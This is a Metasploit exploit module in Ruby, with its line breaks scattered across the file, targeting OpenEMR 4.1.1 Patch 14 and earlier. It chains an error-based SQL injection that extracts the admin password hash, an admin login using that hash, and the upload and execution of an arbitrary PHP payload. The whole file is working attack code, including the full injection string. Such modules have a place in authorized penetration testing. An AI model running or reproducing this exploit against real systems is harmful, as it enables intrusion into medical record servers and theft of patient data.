##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def
initialize(info={})
super
(update_info(info,
'Name'
=>
"OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution"
,
'Description'
=> %q{
This
module
exploits a vulnerability found
in
OpenEMR version
4
.
1
.
1
Patch
14
and
lower.
When logging
in
as any non-admin user it's possible to retrieve the admin
SHA1
password
hash from the database through
SQL
injection. The
SQL
injection vulnerability exists
in
the
"new_comprehensive_save.php"
page. This hash can be used to log
in
as the admin
user. After logging
in
, the
"manage_site_files.php"
page will be used to upload arbitrary
code.
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'xistence <xistence[at]0x90.nl>'
# Discovery, Metasploit module
],
'References'
=>
[
[
'EDB'
,
'28329'
]
],
'Platform'
=> [
'php'
],
'Arch'
=>
ARCH_PHP
,
'Targets'
=>
[
[
'OpenEMR'
, {}]
],
'Privileged'
=>
false
,
'DisclosureDate'
=>
"Sep 16 2013"
,
'DefaultTarget'
=>
0
))
register_options(
[
OptString.
new
(
'TARGETURI'
, [
true
,
'The base path to the OpenEMR installation'
,
'/openemr'
]),
OptString.
new
(
'USER'
, [
true
,
'The non-admin user'
,
''
]),
OptString.
new
(
'PASS'
, [
true
,
'The non-admin password'
,
''
])
],
self
.
class
)
end
def
peer
return
"#{rhost}:#{rport}"
end
def
uri
return
target_uri.path
end
def
check
# Check version
print_status(
"#{peer} - Trying to detect installed version"
)
res = send_request_cgi({
'method'
=>
'GET'
,
'uri'
=> normalize_uri(uri,
"interface"
,
"login"
,
"login.php"
)
})
if
res
and
res.code ==
200
and
res.body =~ /v(\d+.\d+.\d+)/
version =
$1
else
return
Exploit::CheckCode::Unknown
end
print_status(
"#{peer} - Version #{version} detected"
)
if
version <
"4.1.2"
return
Exploit::CheckCode::Detected
else
return
Exploit::CheckCode::Safe
end
end
def
login(base, name, pass)
#print_status("#{peer} - Logging in as non-admin user [ #{datastore['USER']} ]")
res = send_request_cgi({
'method'
=>
'POST'
,
'uri'
=> normalize_uri(
"#{base}"
,
"interface"
,
"main"
,
"main_screen.php"
),
'vars_get'
=> {
"auth"
=>
"login"
,
"site"
=>
"default"
},
'vars_post'
=> {
'authProvider'
=>
'Default'
,
'authUser'
=>
"#{name}"
,
'authPass'
=>
"#{pass}"
}
})
if
res && res.code ==
200
and
res.headers[
'Set-Cookie'
] =~ /OpenEMR=([a-zA-
Z0
-
9
]+)/
session =
$1
print_status(
"#{rhost}:#{rport} - Login successful"
)
print_status(
"#{rhost}:#{rport} - Session cookie is [ #{session} ]"
)
return
session
else
fail_with(Failure::Unknown,
"#{peer} - Login was not succesful!"
)
end
end
def
exploit
# Password should be converted to a SHA1 hash
password = Rex::Text.sha1(datastore[
'PASS'
])
# Login as non-admin
cookie = login(uri, datastore[
'USER'
], password)
sqlq = rand_text_alpha(
8
)
# Generate random string and convert to hex
sqls = sqlq.each_byte.map { |b| b.to_s(
16
) }.join
# Our SQL Error-Based Injection string - The string will return the admin password hash between the words ABCD<hash>ABCD in the response page.
sqli =
"1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) "
sqli <<
"FROM users WHERE username = 0x61646d696e LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '#{sqlq}'='#{sqlq}"
post_data =
"form_pubpid=#{sqli}"
print_status(
"#{peer} - Retrieving admin password hash through SQLi"
)
res = send_request_cgi({
'method'
=>
'POST'
,
'data'
=> post_data,
'cookie'
=>
"OpenEMR=#{cookie}"
,
'uri'
=> normalize_uri(uri,
"interface"
,
"new"
,
"new_comprehensive_save.php"
)
})
if
res
and
res.code ==
200
and
res.body =~ /
#{sqlq}([a-zA-Z0-9]+)#{sqlq}/
adminhash =
$1
print_status(
"#{peer} - Admin password hash is [ #{adminhash} ]"
)
else
fail_with(Failure::Unknown,
"#{peer} - Retrieving admin password failed!"
)
end
# Login as admin and retrieve cookie
cookie = login(uri,
"admin"
,
"#{adminhash}"
)
# Random filename
payload_name = rand_text_alpha(rand(
10
) +
5
) +
'.php'
post_data = Rex::
MIME
::Message.
new
post_data.add_part(
""
,
nil
,
nil
,
"form-data; name=\"bn_save\""
)
post_data.add_part(payload.encoded,
"application/octet-stream"
,
nil
,
"form-data; name=\"form_image\"; filename=\"#{payload_name}\""
)
file = post_data.to_s
file.strip!
print_status(
"#{peer} - Uploading shell [ #{payload_name} ]"
)
res = send_request_cgi({
'method'
=>
'POST'
,
'uri'
=> normalize_uri(uri,
"interface"
,
"super"
,
"manage_site_files.php"
),
'ctype'
=>
"multipart/form-data; boundary=#{post_data.bound}"
,
'cookie'
=>
"OpenEMR=#{cookie}"
,
'data'
=> file
})
# If the server returns 200 and the body contains our payload name,
# we assume we uploaded the malicious file successfully
if
not
res
or
res.code !=
200
or
res.body !~ /
#{payload_name}/
fail_with(Failure::Unknown,
"#{peer} - File wasn't uploaded, aborting!"
)
end
register_file_for_cleanup(payload_name)
print_status(
"#{peer} - Requesting shell [ #{uri}/sites/default/images/#{payload_name} ]"
)
res = send_request_cgi({
'method'
=>
'GET'
,
'uri'
=> normalize_uri(uri,
"sites"
,
"default"
,
"images"
,
"#{payload_name}"
)
})
# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either.
if
res
and
res.code !=
200
print_error(
"#{peer} - Unexpected response, exploit probably failed!"
)
end
end
end